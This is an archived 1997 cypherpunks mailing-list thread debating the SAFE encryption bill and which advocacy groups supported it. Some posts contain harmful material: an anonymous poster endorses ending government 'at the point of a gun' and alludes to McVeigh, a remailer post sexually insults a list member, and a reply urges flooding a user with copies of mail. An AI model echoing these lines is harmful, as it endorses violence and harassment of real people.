largest weapon has the most authority. > TCM's idea of telling congress and the president to f*** off is actually, > in my opinion, an extreme case of people giving away their authority. > it is more of the same problem, not the solution. it is failing to > address the root of the problem-- that the president and congress > must be put in a subservient relationship to the desires of the citizens. So you're about to suggest following Tim McVeigh's example, only at the White House, instead, right? > one must uncreate the monster in the same ways it was created. Right. It began life at the point of a gun, and that's the way it should end when the monster begans feeding on those who created it. > I commend CDT and all other online groups for their organizational > motives and drive, and condemn TCM for his pissing on them. what is he doing? Sounds like a good, old-fashioned cypherpunks pissing contest to me. Better lay in extra beer. > if something is broken, do you fix it, or abandon it? or shoot it? TCM is > always advocating the latter two. it's not a solution, and he knows it, > and everyone else here knows it too. This is wonderful! At last the cypherpunks have a leader who can speak for all of us. When does the New List Moderation begin? I'm going to have to lay in a whole shitload of beer for this round. PissMonger & his corporate schill pooch, Spudz From shabbir at vtw.org Fri May 2 07:04:11 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Fri, 2 May 1997 22:04:11 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: Ah, so here is the source of all the conspiracy theories: At 1:14 AM -0700 5/2/97, Greg Broiles wrote: >At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote: > >>I'm also puzzled by the fact that CDT is being criticized pretty much >>solely, even though the entire Internet Privacy Coalition, and several >>other groups all wrote a letter of support of the bill with only a >>criticism of one provision. > >I think this is occurring for two reasons: >2. It strikes me as unlikely that all of the groups mentioned really sat >down and hashed all of this out - my hunch is that one or two of the groups >wrote up an analysis and a proposed letter, and asked the other groups to >sign on. A likely suspect for the/a group who did the behind-the-scenes >work is CDT. The Internet Privacy Coalition letter, which said, (paraphrased) "we support this bill but have concerns over the criminal provision" was coordinated by EPIC, not CDT. Hey, if you don't believe me, here's an excerpt from Audrie Krause's NetAction notes (see http://www.netaction.org/) Earlier this week, EPIC staffers again sent out an E-mail alert, this time to members of the Internet Privacy Coalition requesting their signature on a letter to Rep. Robert Goodlatte (R-VA) [..] Again within a matter of days, EPIC was able to deliver a letter signed by 25 organizations, including NetAction. The letter is on the Web, at: . If you don't believe EPIC coordinated this letter, give Marc Rotenberg a call at 202-544-9240. He's the one who called VTW to sign on, and when I called him back to say thank you for distributing the letter, I asked him to signon VTW. Of course, the ACLU also signed the letter, saying they support the bill but have concerns over the criminal provision. You can call them here in New York at 212-982-9800 (I think). Barry signed the letter, ask him. By attacking the supporters of the bill, you're attacking CDT, the ACLU, EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc. You're saying that all the Internet advocates have turned against crypto? I don't think so. I think you're sense of perspective is out of whack. -S From shabbir at vtw.org Fri May 2 07:06:04 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Fri, 2 May 1997 22:06:04 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: At 8:49 AM -0400 5/2/97, Declan McCullagh wrote: >Two quick points: > >* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a >letter to the House subcommittee on April 29 urging that SAFE be approved >without any changes? (I'm in Oklahoma right now and I have a copy of that >letter in my office in DC, but that's what I remember.) Declan, I can't believe you did your research so poorly. Go look at the Internet Privacy Coalition letter at http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE bill page at http://www.crypto.com/safe_bill/ and read the pointer from there. You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR, Eagle Forum, VTW, and PGP all signed. Since you've been laboring under this mistaken impression, you owe somebody at CDT a big fucking apology. -S > > >On Thu, 1 May 1997, Shabbir J. Safdar wrote: > >> The Administration hates this bill, because it threatens their ability to >> roll out Key Recovery. They've said as much in the letter Declan forwarded: >> >> "The bill could be read as prohibiting the United States government >> from using appropriate incentives to support a key management >> infrastructure and KEY RECOVERY." [emphasis added] >> >> Do you think that if this bill helped the Administration, that they'd be >> out there urging the subcommittee chairman to stop it? I think not. >> >> I'm also puzzled by the fact that CDT is being criticized pretty much >> solely, even though the entire Internet Privacy Coalition, and several >> other groups all wrote a letter of support of the bill with only a >> criticism of one provision. However the overall statement was of support. >> (see http://www.privacy.org/ipc/safe_letter.html) >> >> As far as I can tell, everyone criticizing the bill either thinks that: >> >> a) CDT actually runs all these groups behind the scenes, or >> b) pretty much all of the Internet advocates believe that this bill >> is needed and are doing the best they can with what Congress has >> written. >> >> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax >> Reform, the Association for Computing Machinery, Computer Professionals for >> Social Responsiblity, Eagle Forum, the National Association for Criminal >> Defense Lawyers, and PGP Inc all signed this letter. >> >> Can you consider, perhaps, for a second, that critics of SAFE are being >> unreasonable? I would think so, as critics of SAFE include the Clinton >> Administration. Is that the kind of company that cypherpunks keep? >> >> Here's a great excerpt from the Internet Privacy Coalition letter: >> >> The pending bill provides a positive framework for the reforms that are >> long overdue in this critical area. It makes clear that the sale or use >> of >> encryption, a vital technique to promote network security and individual >> privacy, should not be restricted in the United States. This is the view >> widely shared by users of the Internet and the computer and communications >> industry. It was also a central recommendation of the >> report of the National Research Council last year. >> >> Looks like widespread support from people who study this issue for living. >> I'm glad to be counted among them. >> >> -S >> >> -Shabbir >> >> From mnorton at cavern.uark.edu Fri May 2 07:20:42 1997 From: mnorton at cavern.uark.edu (Mac Norton) Date: Fri, 2 May 1997 22:20:42 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: On Fri, 2 May 1997, Shabbir J. Safdar wrote: > > By attacking the supporters of the bill, you're attacking CDT, the ACLU, > EPIC, VTW, EFF, Eagle Forum, Americans for Tax Reform, and PGP Inc. You're > saying that all the Internet advocates have turned against crypto? Criticizing the bill is not the same thing as "attacking" its supporters. Criticizing the arguments of those supporters in favor of the bill, and questioning seeming inconsistencies therein, is not the same thing as "attacking" those supporters. Nor does such criticism imply an accusation that all, or even some, of those supporters "have turned against crypto." The illogical equlvalence you set up, however, does seem to be characteristic of these supporters' arguments.:) MacN From jehorton at erols.com Fri May 2 07:47:36 1997 From: jehorton at erols.com (John Horton) Date: Fri, 2 May 1997 22:47:36 +0800 Subject: unSAFE In-Reply-To: Message-ID: <336A017A.7541@erols.com> Declan McCullagh wrote: > > ---------- Forwarded message ---------- > Date: Fri, 2 May 1997 01:04:17 -0400 > From: Michael Sims > To: fight-censorship at vorlon.mit.edu > Cc: Jonah Seiger , abd at cdt.org, Tim May , > declan at well.com > Subject: unSAFE > > Well, I've read Mr. Davidson's defense of the SAFE bill and of course > Mr. May's earlier argument against it. A few more comments. > > > Although about the Clipper chip, if you go about 60% through the > article he has a solid discussion of the EAA, IEEPA and the > presidential power thereunder. It's 50 U.S.C. Sec. 1701 and > following. Section 1702 there has the meat of it. > > This Act allows the President, once he has declared a state of > emergency, to regulate essentially any commerce with another nation, > except those items directly identified as "speech" - magazines, > papers, etc. > I am not an expert in these matters, but one could argue that electronic communications is a form of speech, and that the use of the internet is an implementation mechanism of free speech that correlates to media such as magazines and papers, etc. Perhaps this is why the net as a form of electronic commerce is giving global governments regulatory fits. The laws were written with regard to tangible forms of media versus media in the electronic age. I would recommend that a watchful eye be cast about to monitor any attempts at changes to the items identified as "speech" in the USC sections outlined above, especially given the recent judicial decision regarding the illegality of ITAR with respect to cryptographic systems. > > President Clinton has twice declared a state of emergency regarding > export control regulations, the latest on August 15, 1996. > Perhaps a worthy endeavor is to attempt a modification to the Trading with the Enemies Act, given "global peace and stability" presently at hand. From real at freenet.edmonton.ab.ca Fri May 2 07:49:38 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Fri, 2 May 1997 22:49:38 +0800 Subject: [CRYPTO] ZKP In-Reply-To: <199705021127.EAA26541@fat.doobie.com> Message-ID: On Fri, 2 May 1997, Huge Cajones Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > Timmy `C' May's aberrant sexual life has negatively impacted his mental > integrity. > > ,,, > -ooO(o o)Ooo- Timmy `C' May > v > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From nobody at huge.cajones.com Fri May 2 08:20:44 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 2 May 1997 23:20:44 +0800 Subject: unSAFE (at any speed) Message-ID: <199705021459.HAA00163@fat.doobie.com> Declan McCullagh got off his knees and pulled up his pants long enough to forward: > From: Michael Sims > To: fight-censorship at vorlon.mit.edu > Subject: unSAFE > Well, I've read Mr. Davidson's defense of the SAFE bill and of course > Mr. May's earlier argument against it. A few more comments. > The Trading with the Enemy Act was passed in 1917 and amended > (importantly) in 1933 (Great Depression, New Deal). > It specifically > allowed the president to regulate as he wished, during wartime, the > assets and fiscal transactions conducted by an enemy country. > (Confiscation and all that). Fair enough, for a WWI era law. > > Recall, this is during a declared war only. > In 1933 it was amended, hastily, sneakily, back-door-ily, in order > to grant incoming President Roosevelt extraordinary powers over the > money supply of the nation. It was amended to declare all citizens > of the United States to be "enemies", under its power during any > time of war *or national emergency*. That is, the "Trading with the > Enemy" act now applied to all citizens of the US and all of their > interpersonal transactions. Amen! Someone who understands that the governement long ago usurped the power of the voters and has declared the citizens to be the enemy, putting in place governmental powers that allow the elite to rule the country according to their personal dictates, no matter what the wishes of the citizens are. The ruling elite (not the people we elect, by the way) let us fight vainly over this or that provision of laws and regulations which cut off our private parts an inch at a time, and then, once their overt screwing of the citizenry has reached its final limits, they finish the job behind closed doors, via the dictatorial power of *national emergency* legislation. > Thus the new wording below. This is now during war *or national > emergency declared by the president*. > > "through any agency that he may designate, or otherwise, investigate, > regulate or prohibit under such rules and regulations as he may > prescribe <...> > Roosevelt of course declared a national emergency and proceeded on > his way. However, he declared it in such a way as to make it > continue until revoked. This country remains in a state of emergency > today, and will do so forthe foreseeable future, and the President > retains the extraordinary powers intended solely for wartime. > These include the total ability to regulate commerce in the United > States. 'We the sheeple' would be outraged if the government entered our homes and businesses and forced us into compliance with their wishes at gunpoint. So they do it with financial guns, in an age where money=survival, and the average joe's mind has been so conditioned to financial rule that the Money Gods are deemed to be invincible paragons of 'right thinking.' No matter how obvious it is that the government is using our own money to screw us, we still feel that we are 'bad people' if we don't pay our taxes. We feel like we are truly guilty criminals if we resist participating in our own oppression. > I recommend Michael Froomkin's excellent (and lengthy) article on the > subject at > http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm. > > Although about the Clipper chip, if you go about 60% through the > article he has a solid discussion of the EAA, IEEPA and the > presidential power thereunder. It's 50 U.S.C. Sec. 1701 and > following. Section 1702 there has the meat of it. > > This Act allows the President, once he has declared a state of > emergency, to regulate essentially any commerce with another nation, > except those items directly identified as "speech" - magazines, > papers, etc. And if he declares a "Jaywalking Violators National Emergency" with far-reaching consequences, it will get a small blurb on the back pages of the major print media, if anything. Declan (bless his D.C. journalist ass) might speak up about the dangers of the action, but is unlikely to be heard by the people at the shopping malls, where most Americans live. > Every "right" the SAFE act grants is already possessed. The law > also poses severe penalties for using crypto in furtherance of a > crime. How long until we have a new law which "grants" us the right to breathe, but makes breathing in furtherance of a crime subject to severe penalties? > Anyone using PGP on their computer? Crime involved at least one > email sent for any reason? Extra five years. This will hardly > support the spread of encryption. > > It gives law enforcement guaranteed access to keys: an awful > precedent. Any law enforcement officer or investigative officer > (attornies prosecuting a case) who is empowered to prosecute or > participate in the prosecution of offenses under this act may compel > disclosure of keys. All one needs is an escrow provision to ensure > that such a key is available for the government to retrieve - and > such a provision is perfectly legal for the president to impose. > Thus, an FBI agent, who is "empowered" to investigate crimes under > this act, can compel disclosure, by a third party, of your keys - > without cause to even believe an offense has actually been > committed. Without judicial review. This will further the spread > of strong crypto? The end result? We can *still* use strong crypto, but *now* it will cost us five years of our life to do so, unless we give up our keys, which negates the use of crypto in the first place. I used to love Garner Ted Armstrong talking about missionaries who travelled to obscure corners of the earth in order to *save* people by telling them about Jesus. He would ask them what happened if a particular individual died before the missionary arrived, and thus never got a chance to hear about Jesus? Would they burn in hell, as a result. The missionaries would explain that, since they never got a chance to hear about Jesus, that they would go to heaven by default, since God wouldn't punish them with everlasting fire just because they never had a chance to be *saved*. Garner Ted would then point out that the missionaries where thus not giving the individual a chance to go to *heaven*, since they were going there anyway, by default, but were, in fact, giving the individual a chance to go to *hell*. I think about this every time that I hear about a new piece of government legislation designed to *save* me from this-or-that evil/hell. > THIS BILL GIVES NOTHING AT ALL AND MAKES USE OF CRYPTO WORTH > FIVE YEARS IN PRISON. Continued support of this bill by privacy and > crypto advocates is outrageous. Yes, but the reality of life is that reasonable people learn that they need to compromise...and compromise...and compromise...and compromise...and compromise...and compromise...and compromise... "HEY! WHERE DID ALL OF MY FREEDOM AND PRIVACY GO?!?" TruthMonger From rotenberg at epic.org Fri May 2 08:42:07 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Fri, 2 May 1997 23:42:07 +0800 Subject: TWO Letters on SAFE In-Reply-To: Message-ID: Shabbir is a very good organizer and often very busy, which may explain the confusion about the TWO letters that were sent out regarding SAFE. CDT sent a letter to Hon. Howard Conable, the chair of the Subcommittee, on April 24 which said that "CDT strongly urges you to report H.R. 695, the SAFE Act, out of the Courts and Intellectual Property Subcommittee without amendment." [The CDT letter is at http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html] EPIC helped coordinate a different letter for the Internet Privacy Coalition, which went to Rep. Goodlatte on April 28 and said While expressing our support for the measure, we wish also to state our concern about one provision contained in the bill. We believe that this provision, which would create new criminal penalties for the use of encryption in furtherance of a crime, could undermine the otherwise laudable goals of the legislation. For the reasons set forth below, we recommend that this provision be reconsidered when the Committee considers the bill. The IPC letter was signed by 26 privacy groups, user organizations, private companies, and trade associations. [The IPC letter is at http://www.privacy.org/ipc/safe_letter.html ] Marc Rotenberg EPIC. At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote: >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote: >>Two quick points: >> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a >>letter to the House subcommittee on April 29 urging that SAFE be approved >>without any changes? (I'm in Oklahoma right now and I have a copy of that >>letter in my office in DC, but that's what I remember.) > >Declan, I can't believe you did your research so poorly. Go look at the >Internet Privacy Coalition letter at >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE >bill page at http://www.crypto.com/safe_bill/ and read the pointer from >there. > >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR, >Eagle Forum, VTW, and PGP all signed. > >Since you've been laboring under this mistaken impression, you owe somebody >at CDT a big fucking apology. > >-S > >> >> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote: >> >>> The Administration hates this bill, because it threatens their ability to >>> roll out Key Recovery. They've said as much in the letter Declan >>>forwarded: >>> >>> "The bill could be read as prohibiting the United States government >>> from using appropriate incentives to support a key management >>> infrastructure and KEY RECOVERY." [emphasis added] >>> >>> Do you think that if this bill helped the Administration, that they'd be >>> out there urging the subcommittee chairman to stop it? I think not. >>> >>> I'm also puzzled by the fact that CDT is being criticized pretty much >>> solely, even though the entire Internet Privacy Coalition, and several >>> other groups all wrote a letter of support of the bill with only a >>> criticism of one provision. However the overall statement was of support. >>> (see http://www.privacy.org/ipc/safe_letter.html) >>> >>> As far as I can tell, everyone criticizing the bill either thinks that: >>> >>> a) CDT actually runs all these groups behind the scenes, or >>> b) pretty much all of the Internet advocates believe that this bill >>> is needed and are doing the best they can with what Congress has >>> written. >>> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax >>> Reform, the Association for Computing Machinery, Computer Professionals for >>> Social Responsiblity, Eagle Forum, the National Association for Criminal >>> Defense Lawyers, and PGP Inc all signed this letter. >>> >>> Can you consider, perhaps, for a second, that critics of SAFE are being >>> unreasonable? I would think so, as critics of SAFE include the Clinton >>> Administration. Is that the kind of company that cypherpunks keep? >>> >>> Here's a great excerpt from the Internet Privacy Coalition letter: >>> >>> The pending bill provides a positive framework for the reforms that are >>> long overdue in this critical area. It makes clear that the sale or use >>> of >>> encryption, a vital technique to promote network security and individual >>> privacy, should not be restricted in the United States. This is the view >>> widely shared by users of the Internet and the computer and >>>communications >>> industry. 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(but only to the extent that the authority of such Act is not exercised to extend controls imposed under this Act) .... " Seems to me that it says "the administration can still control xyz under the EAA, TWE, EEP, etc but not if such control extends the controls defined under HR695 SAFE" Looks like language to assuage the powers that be, while it creates AMBIGUITY and the need for interpretation (AKA court intervention) when some administration tries to overstep it's bounds. I don't think that's necessarily bad, since legislation has never existed that is ironclad anyway: it's always subject to some runaway Attorney General getting weird, as we have seen plenty of times. At 05:34 AM 5/2/97 -0700, Declan McCullagh wrote: > > >---------- Forwarded message ---------- >Date: Fri, 2 May 1997 01:04:17 -0400 >From: Michael Sims >To: fight-censorship at vorlon.mit.edu >Cc: Jonah Seiger , abd at cdt.org, Tim May , > declan at well.com >Subject: unSAFE > >Well, I've read Mr. Davidson's defense of the SAFE bill and of course >Mr. May's earlier argument against it. A few more comments. > > >Both analyses (all analyses I've seen) ignore this little fun fun >tidbit below: > ><--QUOTE--> > >(a) AMENDMENT TO EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of >the Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended >by adding at the end thereof the following new subsection: > >"(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the >Secretary shall have exclusive authority to control exports of all >computer hard ware, software, and technology for information security >(including encryption), except that which is specifically designed, >or modified for military use, including command, control, and >intelligence applications. > >"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be >required, EXCEPT PURSUANT TO THE TRADING WITH THE ENEMY ACT OR THE >INTERNATIONAL EMERGENCY ECONOMIC POWERS ACT (but only to the extent >that the authority of such Act is not exercised to extend controls >imposed under this Act), for the export or reexport of > >.... > >(b) CONTINUATION OF EXPORT ADMINISTRATION ACT.-For purposes of >carrying out the amendment made by subsection (a), the Export >Administration Act of 1979 shall be deemed to be in effect. > ><--/QUOTE--> > >{emphasis added, EXCEPT....ACT} > > ... etc ... From NOSPAM-geeman at best.com Fri May 2 08:58:13 1997 From: NOSPAM-geeman at best.com (geeman) Date: Fri, 2 May 1997 23:58:13 +0800 Subject: Made a Mistake! Re: unSAFE Message-ID: <3.0.32.19691231160000.006c0aa0@best.com> I wrote --- comment, though, on this caveat in the paragraphs you indicate: "(2) ITEMS NOT REQUIRING LICENSES. ... (but only to the extent that the authority of such Act is not exercised to extend controls imposed under this Act) .... " Seems to me that it says "the administration can still control xyz under the EAA, TWE, EEP, etc but not if such control extends the controls defined under HR695 SAFE" Looks like language to assuage the powers that be, while it creates AMBIGUITY and the need for interpretation (AKA court intervention) when some administration tries to overstep it's bounds. I don't think that's necessarily bad, since legislation has never existed that is ironclad anyway: it's always subject to some runaway Attorney General getting weird, as we have seen plenty of times. --- but THEN noticed the paragraph is attached to the EAA, not SAFE. Never mind. SAFE looks more ominous .... From kent at songbird.com Fri May 2 09:07:29 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 3 May 1997 00:07:29 +0800 Subject: Rejecting Dialog with Government Vermin In-Reply-To: <199705020738.AAA02377@mail.pacifier.com> Message-ID: <19970502085056.16118@bywater.songbird.com> On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote: > At 22:43 5/01/97 -0700, Kent Crispin wrote: >>On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote: >>> I feel confident that a statistical analysis of various countries' >>> governments would reveal a wide scatter in the relationship between >>> population and government size. One of the main factors in this scatter is >>> simply the amount that government has decided to butt into activities that >>> could (and should) be privatized. Another is the amount that the >>> government steals from one group in order to reliably receive the votes of >>> some other group. >> >>> Population size would end up being a very poor determinant of government >>> size. >> >>Yes, there would be scatter, but it is not important. > > The only reason "it is not important" is that this scatter is what > demolishes your view of the world. Jim, I made a two line off-the-cuff generalization about a case that *could* be argued -- a tiny, infinitesimal mote in my world view. So don't go overboard with the hyperbole, OK? Remember that since my world view includes numbers, Godel's theorem requires that it is incomplete or inconsistent, as is yours. Regardless of how our world views may change, they will continue to include numbers, and so will remain inconsistent or incomplete. And incompleteness and inconsistency are global properties of a system... > > Population size > >is *obviously* a strong determinant of government size. > > But probably not even close to the largest determinant. It simply doesn't matter. The important point is that governments *are* much larger in much larger countries. We are speaking in gross, general terms here -- we haven't controlled for type of government, whether the military is included -- a whole host of factors are left as free variables, and yes, even modulo those variables, there is lots of scatter. But in 1800 there were about 5 million people in the US. Now there are close to 300 million. The basic point, really, is that organizational complexity grows with the size of the organization, at a greater than linear rate. This is because organizational complexity is a function of interactions between members of the organization, which is at least n-squared. (However, when you consider that alliances form and can interact, the true complexity grows at a much faster rate.) (Another confounding factor is growth in complexity of technology and human knowledge.) [...] > > But NONE of this is truly needed. I have a solution to that problem. Jim, have you considered the interaction between religious beliefs and AP? You apparently don't have direct knowledge of this, but after a certain level of economic security has been reached economics becomes a much less important as a motivator [Maslow]. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From declan at well.com Fri May 2 09:15:07 1997 From: declan at well.com (Declan McCullagh) Date: Sat, 3 May 1997 00:15:07 +0800 Subject: TWO Letters on SAFE In-Reply-To: Message-ID: Thanks, Marc, for posting the URL for CDT's letter urging the House subcommittee to approve SAFE without amendment. I was quoting from memory. No, Shabbir, I don't think I owe anyone a "big fucking apology." -Declan On Fri, 2 May 1997, Marc Rotenberg wrote: > > > Shabbir is a very good organizer and often very busy, which > may explain the confusion about the TWO letters that were > sent out regarding SAFE. > > CDT sent a letter to Hon. Howard Conable, the chair of the > Subcommittee, on April 24 which said that "CDT strongly urges > you to report H.R. 695, the SAFE Act, out of the Courts > and Intellectual Property Subcommittee without amendment." > [The CDT letter is at > http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html] > > EPIC helped coordinate a different letter for the Internet > Privacy Coalition, which went to Rep. Goodlatte on April > 28 and said > > While expressing our support for the measure, we wish > also to state our concern about one provision contained > in the bill. We believe that this provision, which would > create new criminal penalties for the use of encryption in > furtherance of a crime, could undermine the otherwise laudable > goals of the legislation. For the reasons set forth below, we > recommend that this provision be reconsidered when the Committee > considers the bill. > > The IPC letter was signed by 26 privacy groups, user organizations, > private companies, and trade associations. [The IPC letter is > at http://www.privacy.org/ipc/safe_letter.html ] > > > Marc Rotenberg > EPIC. > > > > > At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote: > >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote: > >>Two quick points: > >> > >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a > >>letter to the House subcommittee on April 29 urging that SAFE be approved > >>without any changes? (I'm in Oklahoma right now and I have a copy of that > >>letter in my office in DC, but that's what I remember.) > > > >Declan, I can't believe you did your research so poorly. Go look at the > >Internet Privacy Coalition letter at > >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE > >bill page at http://www.crypto.com/safe_bill/ and read the pointer from > >there. > > > >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR, > >Eagle Forum, VTW, and PGP all signed. > > > >Since you've been laboring under this mistaken impression, you owe somebody > >at CDT a big fucking apology. > > > >-S > > > >> > >> > >>On Thu, 1 May 1997, Shabbir J. Safdar wrote: > >> > >>> The Administration hates this bill, because it threatens their ability to > >>> roll out Key Recovery. They've said as much in the letter Declan > >>>forwarded: > >>> > >>> "The bill could be read as prohibiting the United States government > >>> from using appropriate incentives to support a key management > >>> infrastructure and KEY RECOVERY." [emphasis added] > >>> > >>> Do you think that if this bill helped the Administration, that they'd be > >>> out there urging the subcommittee chairman to stop it? I think not. > >>> > >>> I'm also puzzled by the fact that CDT is being criticized pretty much > >>> solely, even though the entire Internet Privacy Coalition, and several > >>> other groups all wrote a letter of support of the bill with only a > >>> criticism of one provision. However the overall statement was of support. > >>> (see http://www.privacy.org/ipc/safe_letter.html) > >>> > >>> As far as I can tell, everyone criticizing the bill either thinks that: > >>> > >>> a) CDT actually runs all these groups behind the scenes, or > >>> b) pretty much all of the Internet advocates believe that this bill > >>> is needed and are doing the best they can with what Congress has > >>> written. > >>> > >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax > >>> Reform, the Association for Computing Machinery, Computer Professionals for > >>> Social Responsiblity, Eagle Forum, the National Association for Criminal > >>> Defense Lawyers, and PGP Inc all signed this letter. > >>> > >>> Can you consider, perhaps, for a second, that critics of SAFE are being > >>> unreasonable? I would think so, as critics of SAFE include the Clinton > >>> Administration. Is that the kind of company that cypherpunks keep? > >>> > >>> Here's a great excerpt from the Internet Privacy Coalition letter: > >>> > >>> The pending bill provides a positive framework for the reforms that are > >>> long overdue in this critical area. It makes clear that the sale or use > >>> of > >>> encryption, a vital technique to promote network security and individual > >>> privacy, should not be restricted in the United States. This is the view > >>> widely shared by users of the Internet and the computer and > >>>communications > >>> industry. It was also a central recommendation of the > >>> report of the National Research Council last year. > >>> > >>> Looks like widespread support from people who study this issue for living. > >>> I'm glad to be counted among them. > >>> > >>> -S > >>> > >>> -Shabbir > >>> > >>> > > > > > From shabbir at vtw.org Fri May 2 09:16:29 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Sat, 3 May 1997 00:16:29 +0800 Subject: TWO Letters on SAFE In-Reply-To: Message-ID: Actually, I think you do. There aren't any other groups out there who sent letters urging the entire subcommittee to start hacking on the bill at the subcommittee level. Even the IPC letter to Goodlatte said to address the issue at the full committee level. That seems to be the strategy everyone is pursuing, so if you're going to attack CDT for it, you had better include VTW, the ACLU, EPIC, EFF, et al. -S At 8:51 AM -0700 5/2/97, Declan McCullagh wrote: >Thanks, Marc, for posting the URL for CDT's letter urging the House >subcommittee to approve SAFE without amendment. I was quoting from memory. > >No, Shabbir, I don't think I owe anyone a "big fucking apology." > >-Declan > > >On Fri, 2 May 1997, Marc Rotenberg wrote: > >> >> >> Shabbir is a very good organizer and often very busy, which >> may explain the confusion about the TWO letters that were >> sent out regarding SAFE. >> >> CDT sent a letter to Hon. Howard Conable, the chair of the >> Subcommittee, on April 24 which said that "CDT strongly urges >> you to report H.R. 695, the SAFE Act, out of the Courts >> and Intellectual Property Subcommittee without amendment." >> [The CDT letter is at >> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html] >> >> EPIC helped coordinate a different letter for the Internet >> Privacy Coalition, which went to Rep. Goodlatte on April >> 28 and said >> >> While expressing our support for the measure, we wish >> also to state our concern about one provision contained >> in the bill. We believe that this provision, which would >> create new criminal penalties for the use of encryption in >> furtherance of a crime, could undermine the otherwise laudable >> goals of the legislation. For the reasons set forth below, we >> recommend that this provision be reconsidered when the Committee >> considers the bill. >> >> The IPC letter was signed by 26 privacy groups, user organizations, >> private companies, and trade associations. [The IPC letter is >> at http://www.privacy.org/ipc/safe_letter.html ] >> >> >> Marc Rotenberg >> EPIC. >> >> >> >> >> At 8:55 AM -0500 5/2/97, Shabbir J. Safdar wrote: >> >At 8:49 AM -0400 5/2/97, Declan McCullagh wrote: >> >>Two quick points: >> >> >> >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a >> >>letter to the House subcommittee on April 29 urging that SAFE be approved >> >>without any changes? (I'm in Oklahoma right now and I have a copy of that >> >>letter in my office in DC, but that's what I remember.) >> > >> >Declan, I can't believe you did your research so poorly. Go look at the >> >Internet Privacy Coalition letter at >> >http://www.privacy.org/ipc/safe_letter.html or go to the crypto.com SAFE >> >bill page at http://www.crypto.com/safe_bill/ and read the pointer from >> >there. >> > >> >You'll see that CDT signed the very same letter that EPIC, ACLU, EFF, ATR, >> >Eagle Forum, VTW, and PGP all signed. >> > >> >Since you've been laboring under this mistaken impression, you owe somebody >> >at CDT a big fucking apology. >> > >> >-S >> > >> >> >> >> >> >>On Thu, 1 May 1997, Shabbir J. Safdar wrote: >> >> >> >>> The Administration hates this bill, because it threatens their >>ability to >> >>> roll out Key Recovery. They've said as much in the letter Declan >> >>>forwarded: >> >>> >> >>> "The bill could be read as prohibiting the United States government >> >>> from using appropriate incentives to support a key management >> >>> infrastructure and KEY RECOVERY." [emphasis added] >> >>> >> >>> Do you think that if this bill helped the Administration, that they'd be >> >>> out there urging the subcommittee chairman to stop it? I think not. >> >>> >> >>> I'm also puzzled by the fact that CDT is being criticized pretty much >> >>> solely, even though the entire Internet Privacy Coalition, and several >> >>> other groups all wrote a letter of support of the bill with only a >> >>> criticism of one provision. However the overall statement was of >>support. >> >>> (see http://www.privacy.org/ipc/safe_letter.html) >> >>> >> >>> As far as I can tell, everyone criticizing the bill either thinks that: >> >>> >> >>> a) CDT actually runs all these groups behind the scenes, or >> >>> b) pretty much all of the Internet advocates believe that this bill >> >>> is needed and are doing the best they can with what >>Congress has >> >>> written. >> >>> >> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans >>for Tax >> >>> Reform, the Association for Computing Machinery, Computer >>Professionals for >> >>> Social Responsiblity, Eagle Forum, the National Association for Criminal >> >>> Defense Lawyers, and PGP Inc all signed this letter. >> >>> >> 